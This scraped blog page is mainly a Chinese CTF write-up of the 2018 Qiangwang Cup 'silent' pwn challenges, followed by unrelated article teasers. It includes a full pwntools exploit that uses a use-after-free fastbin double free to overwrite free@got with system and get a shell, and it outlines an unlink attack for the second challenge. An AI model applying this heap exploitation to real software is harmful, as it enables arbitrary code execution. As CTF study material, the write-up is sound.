news 2026/6/11 18:39:03

2018年强网杯pwn题复现

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
2018年强网杯pwn题复现

silent

漏洞位置:free后没有给指针置空,edit也没有检查chunk是否free

利用思路:利用uaf把chunk进入fastbin中,构造三个单链表来写free@got然后getshell
程序没有输出,这是一个难点,所以直接写
查表

objdump-d-j.plt silent//查pltobjdump-R silent//查got

在free@got上构造fake_chunk

frompwnimport*local=1iflocal:p=process('./silent')libc=ELF('./libc-2.23.so')else:p=remote('39.107.32.132',10000)#nc 39.107.32.132 10000libc=ELF('./libc-2.23.so')defalloc(size,content):p.sendline('1')p.sendline(str(size))p.sendline(str(content))defdelete(idx):p.sendline('2')p.sendline(str(idx))defedit(idx,content):p.sendline('3')p.sendline(str(idx))p.sendline(content)p.sendline('')elf=ELF('./silent')fake_chunk=0x601ffasystem_plt=0x400730alloc(0x50,aaaa)#0alloc(0x50,bbbb)#1alloc(0x50,cccc)#2delete(0)delete(1)delete(0)#fastbin->chunk0->chunk1->chunk0alloc(0x50,p64(fake_chunk))#fastbin->chunk1->chunk0->fake_chunkalloc(0x50,'bin/sh\x00')#fastbin->chunk0->fake_chunkalloc(0x50,aaaa)alloc(0x50,'a'*0xe+p64(system_plt))delete(1)p.interactive()

silent 2

漏洞位置:free后没有给指针置空,edit也没有检查chunk是否free

利用思路:不能像上一题一样用fastbin了,大体思路是,因为是partial relro,利用unlink修改malloc返回的数组指针为free_got,这样修改改数组时就是修改free_got

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/5 23:36:28

京东返利app分布式追踪系统:基于SkyWalking的全链路问题定位

京东返利app分布式追踪系统:基于SkyWalking的全链路问题定位 大家好,我是省赚客APP研发者阿宝! 在省赚客这类对接京东联盟API的返利应用中,一次用户下单返现操作可能涉及订单同步服务 → 佣金计算引擎 → 用户账户系统 → 消息通知…

作者头像 李华
网站建设 2026/6/10 16:57:14

cmake 里 add_library 怎么理解

一、基本介绍add_library 是 CMake 中创建库文件&#xff08;静态库或动态库&#xff09;的核心命令。它的主要作用是将源代码文件编译成库&#xff0c;以便在项目中复用或被其他目标链接。基本语法如下所示&#xff1a;add_library(<name> [STATIC | SHARED | MODULE][E…

作者头像 李华
网站建设 2026/6/10 1:49:37

GLM-TTS能否用于宠物语音翻译器?拟人化叫声生成脑洞

GLM-TTS能否用于宠物语音翻译器&#xff1f;拟人化叫声生成脑洞 在智能音箱已经能读懂你心情的今天&#xff0c;我们是不是离“听懂猫主子心里话”也只差一步了&#xff1f; 这听起来像科幻桥段——你的猫咪跳上沙发&#xff0c;喵呜一声&#xff0c;设备立刻播报&#xff1a;“…

作者头像 李华
网站建设 2026/6/11 15:16:33

为什么90%的PHP开发者不会写扩展?揭开ZEND引擎背后的神秘面纱

第一章&#xff1a;为什么90%的PHP开发者不会写扩展&#xff1f;PHP作为广泛使用的服务器端脚本语言&#xff0c;其生态中绝大多数开发者停留在使用函数、类库和框架的层面。尽管PHP提供了强大的C语言扩展机制&#xff0c;允许开发者深入内核实现高性能模块&#xff0c;但真正掌…

作者头像 李华
网站建设 2026/5/29 6:15:43

Kanass快速上手指南:如何进行迭代管理

kanass是一款国产开源免费、简洁易用的项目管理工具&#xff0c;包含项目管理、项目集管理、事项管理、版本管理、迭代管理、计划管理等相关模块。工具功能完善&#xff0c;用户界面友好&#xff0c;操作流畅。本文主要介绍迭代管理。1、添加迭代进入项目->迭代->添加迭代…

作者头像 李华